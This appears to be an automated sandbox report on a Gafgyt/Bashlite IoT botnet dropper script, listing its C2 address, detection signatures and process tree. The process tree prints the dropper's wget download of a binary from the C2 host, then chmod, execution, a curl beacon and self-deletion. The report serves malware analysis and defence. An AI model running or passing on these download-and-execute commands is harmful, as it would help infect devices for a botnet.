Analysis
- max time kernel
1s - max time network
3s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
02/07/2026, 00:30
General
- Target arm64.sh
- Size 579B
- Sample260702-atv14agy6k
- SHA256 5ca3b37534c5e8cc4bae90be04bcc719d287293e286b70e4f25231748d80c06e
Score
10/10
Malware Config
Extracted
Family
-
gafgyt
C2
-
85.204.125.67:8080
Signatures
- Family: Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
- Detected Gafgyt variant 1 IoCs
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/arm64.sh/tmp/arm64.sh1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget -q http://85.204.125.67:8080/a-r.m-8.SativaC2 -O .sysinit2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 755 .sysinit2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/curlcurl -s http://85.204.125.67:8080/success_arm642⤵
- Checks CPU configuration
- Reads runtime system information
-
-
/tmp/.sysinit./.sysinit2⤵
-
-
/bin/rmrm -f /tmp/arm64.sh2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
.sysinit